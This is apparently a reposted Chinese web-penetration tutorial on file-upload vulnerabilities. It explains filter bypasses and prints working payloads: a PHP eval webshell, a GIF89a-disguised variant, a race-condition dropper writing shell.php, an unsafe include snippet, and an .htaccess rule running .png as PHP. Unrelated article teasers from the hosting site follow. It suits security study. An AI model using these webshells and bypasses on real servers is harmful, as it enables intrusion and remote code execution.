web渗透—文件上传

news/2025/3/13 10:58:08/文章来源:https://www.cnblogs.com/gsupl/p/18344950

文件上传

一、原理

1、通过文件长传模块上传一句话木马;然后用蚁剑或者cknife连接

//一句话木马
<?php @eval($_POST['cmd']);?>

二、过滤和绕过

1、前端验证

原理:使用js代码对文件的类型进行限制

绕过

(1)禁用Js脚本

方法1:将网站源码复制带.htm文档中;删除js代码过滤的地方进行文件上传

方法2:在浏览器中禁用js脚本(F12中在设置中找到禁用javascript代码选项;开启disable javascript功能,就可以不执行js代码;从而不检测文件的类型)

image

方法3:burpsuite截取数据包修改对应的文件后缀名绕过前端验证
image

2、MIME类型检查

原理:MIME检测就是检测content-type的值来判断上传的文件的类型是否合法;conten-type的值用来确定文件的类型;如果不符合要求就无法上传文件

绕过:bp抓包修改content-type绕过验证
image

3、黑名单检测

原理:后端代码定义一个黑名单;文件类型在黑名单中无法上传;若黑名单不完整就可以绕过!

绕过

(1).cer后缀名的文件在asp网站中也会被解析为.asp类型的文件

(2)bp抓包进行模糊测试爆破 ;比如.php代码的后缀名可以为.php .php3 php4 php6 php7 phtm phtml pht等等!

4、白名单检测

原理:设置白名单;上传文件类型符合白名单内容文件才能长传成功!相比于黑名单更加安全;难以绕过!

绕过:结合文件包含漏洞上传webshell

(1)文件包含:在php中具有include,include_once,require,require_once函数可以包含其他文件;无论是什么类型的文件;只要文件内容符合php基本语法就会被解释和执行;利用文件包含漏洞就可以上传一句话木马并且执行

<?php$file=$_GET['file'];include $file
?>

5、文件头部检查

原理:后端代码对上传文件的头部进行检查;若不符合则上传失败

绕过:bp抓包;在文件内容中添加文件头部既可以绕过!或者使用010editor中添加文件头部

GIF89a<?php @eval($_POST['cmd']);?>
//GIF89a就是文件头部

6、竞争上传

原理:后端代码逻辑是先进行文件上传;在进行逻辑判断;可以利用这个时间差进行webshell上传

//1.php
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['cmd'])?>');?>
//访问url/?upload/1.php,会在网站目录中生成shell.php,1.php被删除但是shell.php不会被删除!

7、.htaccess

原理:.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时;.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

绕过:首先上传一个png木马;然后在上传一个.htaccess配置文件;该配置文件的作用就是将png文件当作php文件执行;那么上传的png图片马就可以触发了;使用蚁剑连接就可以了!

//.htaccess内容
AddType application/x-httpd-php .png  			//.png文件当作php文件解析

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/778684.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Living-Dream 系列笔记 第75期

CF126B 朴素解法:求出原字符串的最长 border,并 kmp 匹配出出现在中间的最长 border,若没有则不断缩短 border 的长度,直到中间存在。若 border 长度减到了 \(0\),则无解。 我们通过画图来探索优化方式。如图,蓝色部分为原串的最长 border,红色部分为蓝色部分的最长 bor…

Salesforce常见的100+个业内术语!(系列二)

在上周的文章中,我们开启了Salesforce业内术语的科普和盘点,并介绍了各领域通用的一些术语。前文指路👉Salesforce常见的100+个业内术语!(系列一) 本篇文章将继续与学习者们分享Salesforce Admin和Sales领域的专业术语。 Admin领域的术语 CRED 全称:Create, Read, Edit…

【日记】为啥家族原发性高血压的人还喜欢喝酒啊……(442 字)

正文今天跟人吵了一下午架,因为有一张报表换了新表,所有人都不知道怎么报。上级行一个想法,我一个想法。吵完都发现对方说得有道理,于是决定明天问省分行。难绷。草台班子。鱼儿说他最近喜欢上了喝酒。我们劝他的同时,我想起来前两天和斯逛超市。本来我觉得高兴,也想着拿…

navicat [IM002][Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序 (0)

1.情景展示 使用navicat连接SQL Server数据库,报错信息如下: [IM002][Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序 (0)2.解决方案 方案1 找到Navicat的安装路径,然后找到sqlncli_x64.msi文件并安装,安装成功后重启Navicat重新进行连接,看是否…

python绘制圆柱体

import os import randomimport numpy as np import matplotlib.pyplot as plt #合成管道数据集def plot_cylinder(center, radius, height, num_points=100):# 生成圆柱体的侧面点坐标theta = np.linspace(0, 2*np.pi, num_points)intervalZ = np.floor(height/0.05)indx2 = […

ComfyUI插件:efficiency-nodes-comfyui节点

前言: 学习ComfyUI是一场持久战, efficiency-nodes-comfyui是提高工作流创造效率的工具,包含效率节点整合工作流中的基础功能,比如Efficient Loader节点相当于Load Checkpoint+Clip set layer+Load VAE等等的合集,并且该插件提供了更加简便快捷的X/Y对比图,能够使测评工作…

6 大推荐给开发者的无代码工具

通过这篇文章了解——为什么开发者也需要使用无代码?以及 6 个推荐给开发者的最佳无代码开发工具。在不断发展的软件开发领域,无代码工具正迅速普及。 最初,这些工具是为非技术背景的业务用户设计的,而如今,它们对开发者来说也同样不可或缺。 无代码工具结合了效率、灵活性…

Creo 文件小版本:文件后缀出现.1/.2/.3

1.保存文件的小版本:文件保存后不会覆盖原文件,而是产生新的副本文件,且文件名后缀为(**1/***.2/***.3)样式。此功能能够在特殊情况找回先前版本,但会造成文件夹臃肿,可根据自身实际情况和习惯进行设置。设置方法:配置编辑器---save file iterations --- no/yes。

pbootcms网站后台关闭验证码后, 无法登录问题解决方法

最近闲来无事, 在后台将pbootcms的登录验证码关闭了(全局配置 - 配置参数 -安全配置 -后台验证码) 结果问题来了, 第二天登录后台一直提示验证码不能为空。 这不是自己给自己找事吗! 现在想输入验证码,也没有地方输入。 从程序上解决吧 apps\admin\controller\IndexCont…

Spring Boot 中使用 JSON Schema 来校验复杂JSON数据

JSON是我们编写API时候用于数据传递的常用格式,那么你是否知道JSON Schema呢? 在数据交换领域,JSON Schema 以其强大的标准化能力,为定义和规范 JSON 数据的结构与规则提供了有力支持。通过一系列精心设计的关键字,JSON Schema 能够详尽地描述数据的各项属性。然而,仅凭 …

Docker安装oracle19c

1. 拉取镜像 docker pull registry.cn-hangzhou.aliyuncs.com/zhuyijun/oracle:19c2. 创建目录并赋权 mkdir -p /docker/oracle19c/oradatachmod 777 /docker/oracle19c/oradata 3. 构建容器并启动 docker run -d -p 1521:1521 \ -p 5502:5500 \ -e ORACLE_SID=ORCLCDB \ -e…

便捷地发get或者post请求的方法

import org.springframework.http.HttpMethod;import org.springframework.web.client.RestTemplate;